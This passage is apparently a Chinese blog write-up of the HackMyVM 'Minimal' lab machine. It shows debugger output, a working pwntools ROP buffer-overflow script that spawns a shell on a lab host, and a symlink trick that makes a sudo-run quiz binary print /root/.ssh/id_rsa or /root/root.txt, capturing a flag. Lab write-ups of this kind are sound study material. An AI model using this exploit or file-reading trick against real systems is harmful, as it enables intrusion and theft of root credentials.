=> 0x40147d <question_1+120>:   ret
   0x40147e <question_2>:       endbr64
   0x401482 <question_2+4>:     push   rbp
   0x401483 <question_2+5>:     mov    rbp,rsp
   0x401486 <question_2+8>:     add    rsp,0xffffffffffffff80
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe208 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0008| 0x7fffffffe210 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0016| 0x7fffffffe218 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0024| 0x7fffffffe220 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0032| 0x7fffffffe228 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0040| 0x7fffffffe230 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0048| 0x7fffffffe238 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0056| 0x7fffffffe240 ("AuAAXAAvAAYAAwAAZAAxAAy")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040147d in question_1 ()
gdb-peda$ pattern offset 0x000000000040147d
4199549 not found in pattern buffer
gdb-peda$ pattern search 0x7fffffffe208
Registers contain pattern buffer:
RBP+0 found at offset: 112
Registers point to pattern buffer:
[RSP] --> offset 120 - size ~79
Pattern buffer found at:
0x004056b0 : offset    0 - size  300 ([heap])
0x00007fffffffdf0f : offset   70 - size   17 ($sp + -0x2f9 [-191 dwords])
0x00007fffffffe190 : offset    0 - size  199 ($sp + -0x78 [-30 dwords])
References to pattern buffer found at:
0x00007ffff7f9dab8 : 0x004056b0 (/usr/lib/x86_64-linux-gnu/libc.so.6)
0x00007ffff7f9dac0 : 0x004056b0 (/usr/lib/x86_64-linux-gnu/libc.so.6)
0x00007ffff7f9dac8 : 0x004056b0 (/usr/lib/x86_64-linux-gnu/libc.so.6)
0x00007ffff7f9dad0 : 0x004056b0 (/usr/lib/x86_64-linux-gnu/libc.so.6)
0x00007ffff7f9dad8 : 0x004056b0 (/usr/lib/x86_64-linux-gnu/libc.so.6)
0x00007fffffffddc0 : 0x00007fffffffe190 ($sp + -0x448 [-274 dwords])
0x00007fffffffddc8 : 0x00007fffffffe190 ($sp + -0x440 [-272 dwords])
0x00007fffffffdde0 : 0x00007fffffffe190 ($sp + -0x428 [-266 dwords])

偏移量为120!

gadgets

┌──(kali💀kali)-[~/temp/minimal]
└─$ ropper --search 'pop rdi' -f shop 2>/dev/null

0x00000000004015dd: pop rdi; ret;

查看系统调用

┌──(kali💀kali)-[~/temp/minimal]
└─$ objdump -D shop | grep system
00000000004010f0 <system@plt>:
  4010f4:       f2 ff 25 35 2f 00 00    bnd jmp *0x2f35(%rip)        # 404030 <system@GLIBC_2.2.5>
  40124f:       e8 9c fe ff ff          call   4010f0 <system@plt>

寻找sh地址

gdb-peda$ find sh
Searching for 'sh' in: None ranges
Found 123 results, display max 123 items:
                shop : 0x402070 --> 0x786a70666873 ('shfpjx')
                shop : 0x4021f5 --> 0x743b031b01006873 
                shop : 0x403070 --> 0x786a70666873 ('shfpjx')
                shop : 0x4031f5 --> 0x743b031b01006873 
              [heap] : 0x40531d ("sh\n years.\n")

这俩都是0x4021f50x4031f5

然后尝试编写payload:

from pwn import *

r = remote('192.168.0.183', 8000)

jump = b"A"*120
system_addr = p64(0x40124f)
pop_rdi = p64(0x4015dd)
sh_addr = p64(0x4021f5)

payload = jump + pop_rdi + sh_addr + system_addr 
r.sendline(payload)
r.interactive()

然后运行拿到shell:

image-20240416215553062

方法二:软链接

可以看一下群主师傅的wp,得到三个密码了,我们直接进行软链接,读取我们想要的就行了:

linux
bacon pancakes
nvim with plugins

因为我们是www-data用户,所以在html目录我们就是god!所以可以创建软链接:

(remote) www-data@minimal:/$ pwd
/
(remote) www-data@minimal:/$ cd /var/www/html
(remote) www-data@minimal:/var/www/html$ ls -la
total 64
drwxr-xr-x 4 www-data www-data 4096 Apr 16 12:10 .
drwxr-xr-x 3 root     root     4096 Nov  1 21:59 ..
-rw-rw-r-- 1 www-data www-data 2964 Nov  1 22:06 admin.php
-rw-rw-r-- 1 www-data www-data  892 Nov  1 22:06 buy.php
-rw-r--r-- 1 www-data www-data  355 Nov  1 22:06 config.php
drwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 imgs
-rw-r--r-- 1 www-data www-data 2601 Nov  1 22:06 index.php
-rw-r--r-- 1 www-data www-data 1836 Nov  1 22:06 login.php
-rw-r--r-- 1 www-data www-data  321 Nov  1 22:06 logout.php
-rw-r--r-- 1 www-data www-data 2221 Nov  1 22:06 register.php
-rw-rw-r-- 1 www-data www-data 3621 Nov  1 22:06 reset_pass.php
-rw-r--r-- 1 www-data www-data  111 Nov  1 22:06 restricted.php
-rw-r--r-- 1 www-data www-data 3911 Apr 16 09:56 revershell.php
-rw-r--r-- 1 www-data www-data   12 Nov  1 22:06 robots.txt
-rw-rw-r-- 1 www-data www-data 2549 Nov  1 22:06 shop_cart.php
drwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 styles
(remote) www-data@minimal:/var/www/html$ ln -s /root/.ssh/id_rsa prize.txt
(remote) www-data@minimal:/var/www/html$ ls -la  
total 64
drwxr-xr-x 4 www-data www-data 4096 Apr 16 12:16 .
drwxr-xr-x 3 root     root     4096 Nov  1 21:59 ..
-rw-rw-r-- 1 www-data www-data 2964 Nov  1 22:06 admin.php
-rw-rw-r-- 1 www-data www-data  892 Nov  1 22:06 buy.php
-rw-r--r-- 1 www-data www-data  355 Nov  1 22:06 config.php
drwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 imgs
-rw-r--r-- 1 www-data www-data 2601 Nov  1 22:06 index.php
-rw-r--r-- 1 www-data www-data 1836 Nov  1 22:06 login.php
-rw-r--r-- 1 www-data www-data  321 Nov  1 22:06 logout.php
lrwxrwxrwx 1 www-data www-data   17 Apr 16 12:16 prize.txt -> /root/.ssh/id_rsa
-rw-r--r-- 1 www-data www-data 2221 Nov  1 22:06 register.php
-rw-rw-r-- 1 www-data www-data 3621 Nov  1 22:06 reset_pass.php
-rw-r--r-- 1 www-data www-data  111 Nov  1 22:06 restricted.php
-rw-r--r-- 1 www-data www-data 3911 Apr 16 09:56 revershell.php
-rw-r--r-- 1 www-data www-data   12 Nov  1 22:06 robots.txt
-rw-rw-r-- 1 www-data www-data 2549 Nov  1 22:06 shop_cart.php
drwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 styles
(remote) www-data@minimal:/var/www/html$ sudo -l
Matching Defaults entries for www-data on minimal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on minimal:
    (root) NOPASSWD: /opt/quiz/shop
(remote) www-data@minimal:/var/www/html$ sudo /opt/quiz/shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
linux
Correct!!
What is my favorite food?
bacon pancakes
Correct!!
What is my favorite text editor?
nvim with plugins
Correct!!
User name: 
Saving results .
cat: ./prize.txt: No such file or directory
(remote) www-data@minimal:/var/www/html$ ls
admin.php  config.php  index.php  logout.php  register.php    restricted.php  revershell.php  shop_cart.php
buy.php    imgs        login.php  prize.txt   reset_pass.php  results.txt     robots.txt      styles
(remote) www-data@minimal:/var/www/html$ ls -la
total 68
drwxr-xr-x 4 www-data www-data 4096 Apr 16 12:16 .
drwxr-xr-x 3 root     root     4096 Nov  1 21:59 ..
-rw-rw-r-- 1 www-data www-data 2964 Nov  1 22:06 admin.php
-rw-rw-r-- 1 www-data www-data  892 Nov  1 22:06 buy.php
-rw-r--r-- 1 www-data www-data  355 Nov  1 22:06 config.php
drwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 imgs
-rw-r--r-- 1 www-data www-data 2601 Nov  1 22:06 index.php
-rw-r--r-- 1 www-data www-data 1836 Nov  1 22:06 login.php
-rw-r--r-- 1 www-data www-data  321 Nov  1 22:06 logout.php
lrwxrwxrwx 1 www-data www-data   17 Apr 16 12:16 prize.txt -> /root/.ssh/id_rsa
-rw-r--r-- 1 www-data www-data 2221 Nov  1 22:06 register.php
-rw-rw-r-- 1 www-data www-data 3621 Nov  1 22:06 reset_pass.php
-rw-r--r-- 1 www-data www-data  111 Nov  1 22:06 restricted.php
-rw-r--r-- 1 root     root       18 Apr 16 12:16 results.txt
-rw-r--r-- 1 www-data www-data 3911 Apr 16 09:56 revershell.php
-rw-r--r-- 1 www-data www-data   12 Nov  1 22:06 robots.txt
-rw-rw-r-- 1 www-data www-data 2549 Nov  1 22:06 shop_cart.php
drwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 styles
(remote) www-data@minimal:/var/www/html$ rm prize.txt 
(remote) www-data@minimal:/var/www/html$ ln -s /root/root.txt prize.txt
(remote) www-data@minimal:/var/www/html$ sudo /opt/quiz/shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
linux
Correct!!
What is my favorite food?
bacon pancakes
Correct!!
What is my favorite text editor?
nvim with plugins
Correct!!
User name: 
Saving results .
HMV{never_gonna_ROP_you_down}

很遗憾,不存在id_rsa,所以这里暂时搞不出来rootshell,只能拿到flag。

额外收获

script /dev/null -c bash
ctrl+z
stty raw -echo;fg
reset xterm
export XTERM=xterm-256color
stty rows 55 columns 209 
# este ultimo paso es para que tengo colores
source /etc/skel/.bashrc

https://lukaspinto.github.io/posts/HVM-Minimal/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇